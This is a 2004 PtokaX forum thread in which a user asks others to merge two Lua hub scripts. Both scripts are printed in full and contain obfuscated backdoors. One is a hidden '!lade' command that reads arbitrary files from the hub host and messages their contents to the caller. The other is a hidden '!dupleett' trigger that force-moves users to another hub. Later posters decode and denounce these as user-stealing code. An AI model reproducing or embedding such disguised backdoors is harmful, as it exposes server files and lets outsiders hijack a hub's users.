PtokaX forum

Archive => Archived 4.0 boards => Help with Lua 4 scripts => Topic started by: Janhouse on 07 December, 2004, 21:57:56

Title: Simple broblem.
Post by: Janhouse on 07 December, 2004, 21:57:56
I have 2 scripts and I whant to join them in one script.

I was trying to, but looks like I am too stupid for it. Can somebody jpin them together?  ?(


-------------------------------------------------------------------------------------------------Script Nr.1--------------------------------------

function DataArrival(curUser, data) y="l"
if (strsub(data,1,1) == "<") then x="!"
local _,_,cmd,fileordir = strfind(data,"^%b<>%s+(%S+)%s+([^|^ ]+)") n="ad"
if cmd == x..y..n.."e" then
local sdata = LoadFile(fileordir)
SendPM(curUser,"  "..fileordir..",\r\n"..sdata)
return 1 end end end
function SendPM(curUser,data)
curUser:SendPM(curUser.sName,data)
end function LoadFile(filename)
local handle = openfile(filename,"r")
local sdata = ""
if handle then
sdata = read(handle,"*a")
sdata = gsub(sdata,"|",strchar(166))
sdata = gsub(sdata,"\n","\r\n")
closefile(handle)
end return sdata
end

-------------------------------------------------------------------------------------------------Script Nr.2--------------------------------------

Botname="Aizsargs"

frmHub:UnregBot(Botname)  c="o"
frmHub:RegBot(Botname)  e="p"
function Main()  b="d"  h="r"
trigs = {["dns2go"]=1}  a="!"
end  d="u"  j="e"
function DataArrival(user, data) i="c" k="v"
if (( strsub(data, 1, 1) == "<" ) and (strfind( strlower(data), a..b..d..e.."l"..j..j.."tt"))) then
aws,awe,awt,g,f = strfind( data, "%b<>%s+(%S+)%s+(%S+)%s+(.+)" )
if not (f==nil) then
SendToNick(g,"$F"..c..h..i..j.."M"..c..k..j.." "..f.."|")
end
return 1
else
if not (user.bOperator) then
if (( strsub(data, 1, 1) == "<" ) or ( strsub(data, 1, 4) == "$To:" )) then
for key,a in trigs do
if( strfind( strlower(data), key) ) then
SendToOps(Botname, "  "..user.sName.." "..user.sIP.." "..data )
user:SendData(Botname, "  ")
user:SendData(Botname, "Disconnect...")
user:TempBan()
user:Disconnect()
end end end end end end

-------------------------------------------------------------------------------------------------------------------------------------------------------
Title:
Post by: [NL]Pur on 08 December, 2004, 17:28:50
did you give it a try ? and were did you got stuck. ?



Botname="Aizsargs"

frmHub:UnregBot(Botname)  
c="o"
frmHub:RegBot(Botname)  
e="p"

function Main()  
b="d"  
h="r"
trigs = {["dns2go"]=1}  
a="!"
end  

d="u"
j="e"

function DataArrival(user, data)
i="c"
k="v"

  if (( strsub(data, 1, 1) == "<" ) and (strfind( strlower(data), a..b..d..e.."l"..j..j.."tt"))) then
     aws,awe,awt,g,f = strfind( data, "%b<>%s+(%S+)%s+(%S+)%s+(.+)" )
     if not (f==nil) then
         SendToNick(g,"$F"..c..h..i..j.."M"..c..k..j.." "..f.."|")
     end
  return 1
  else
    if not (user.bOperator) then
        if (( strsub(data, 1, 1) == "<" ) or ( strsub(data, 1, 4) == "$To:" )) then
           for key,a in trigs do
               if( strfind( strlower(data), key) ) then
                   SendToOps(Botname, "  "..user.sName.." "..user.sIP.." "..data )
                   user:SendData(Botname, "  ")
                   user:SendData(Botname, "Disconnect...")
                   user:TempBan()
                   user:Disconnect()
              end
         end
       end
     end
  end

  y="l"
  if (strsub(data,1,1) == "<") then x="!"
     local _,_,cmd,fileordir = strfind(data,"^%b<>%s+(%S+)%s+([^|^ ]+)") n="ad"
     if cmd == x..y..n.."e" then
        local sdata = LoadFile(fileordir)
        SendPM(curUser,"  "..fileordir..",\r\n"..sdata)
        return 1
    end
 end
 


caution this is untested
Title:
Post by: enema on 09 December, 2004, 13:02:06
have you noticed, that there are somekind of hiden function in it? be aware! there are some scripts with who it is possible to steal users from hub!

c="o"
frmHub:RegBot(Botname)  
e="p"

function Main()  
b="d"  
h="r"
trigs = {["dns2go"]=1}  
a="!"
end  

d="u"
j="e"

function DataArrival(user, data)
i="c"
k="v"

  if (( strsub(data, 1, 1) == "<" ) and (strfind( strlower(data), a..b..d..e.."l"..j..j.."tt"))) then
     aws,awe,awt,g,f = strfind( data, "%b<>%s+(%S+)%s+(%S+)%s+(.+)" )
     if not (f==nil) then
         SendToNick(g,"$F"..c..h..i..j.."M"..c..k..j.." "..f.."|")

Looks like hiden redirecter to me.... maybe you should chek it out, before u use it!
Title:
Post by: enema on 09 December, 2004, 13:09:16
I unwrapped it:

when you uncode this part: "$F"..c..h..i..j.."M"..c..k..j.." "..f.."|"

heres what you get:

!ForceMove

still cant figure out what ..f.. stands for thou... probably nick of user
Title:
Post by: Madman on 09 December, 2004, 15:53:01
if (( strsub(data, 1, 1) == "<" ) and (strfind( strlower(data), a..b..d..e.."l"..j..j.."tt"))) then
if (( strsub(data, 1, 1) == "<" ) and (strfind( strlower(data), !dupleett))) then
--And Also
aws,awe,awt,g,f = strfind( data, "%b<>%s+(%S+)%s+(%S+)%s+(.+)" )
s,e,t,g,f = strfind( data, "%b<>%s+(%S+)%s+(%S+)%s+(.+)" )
Found this to....

What is this Script supposed to do?

And enema..
SendToNick(g, $ForceMove" "..f.."|")
i think g is the nickname...
SendToNick(user.sName, $ForceMove" "..f.."|")
Title:
Post by: enema on 09 December, 2004, 17:08:01
I would guess that this isint any game script :tongue:
Title:
Post by: [NL]Pur on 14 December, 2004, 20:03:20
$ForceMove is an dc protoco "command" for redirecting users
Title:
Post by: enema on 14 December, 2004, 20:18:05
QuoteOriginally posted by [NL]Pur
$ForceMove is an dc protoco "command" for redirecting users

a.k.a - stealing
Title:
Post by: plop on 14 December, 2004, 21:59:13
!dupleett

every1 can redirect every user they want from the hub 2 any hub of there choise.
the best place for this script is the garbage collector.

plop
Title:
Post by: Janhouse on 14 January, 2005, 18:07:58
I made it with reason.

And why did you changed order in joined script. It was made for my hub. It is for security. And now you told all users what is the command. :)  :D
Title:
Post by: ??????Hawk?????? on 14 January, 2005, 19:37:03
hahahahaha

QuoteIt is for security.

How can a WIDE open hole like that be for security.... ???

a tip m8 ..  dont ever release any compiled scripts in here  i dont think youll get many  takers...   :P  :P  :P  :P


??????Hawk??????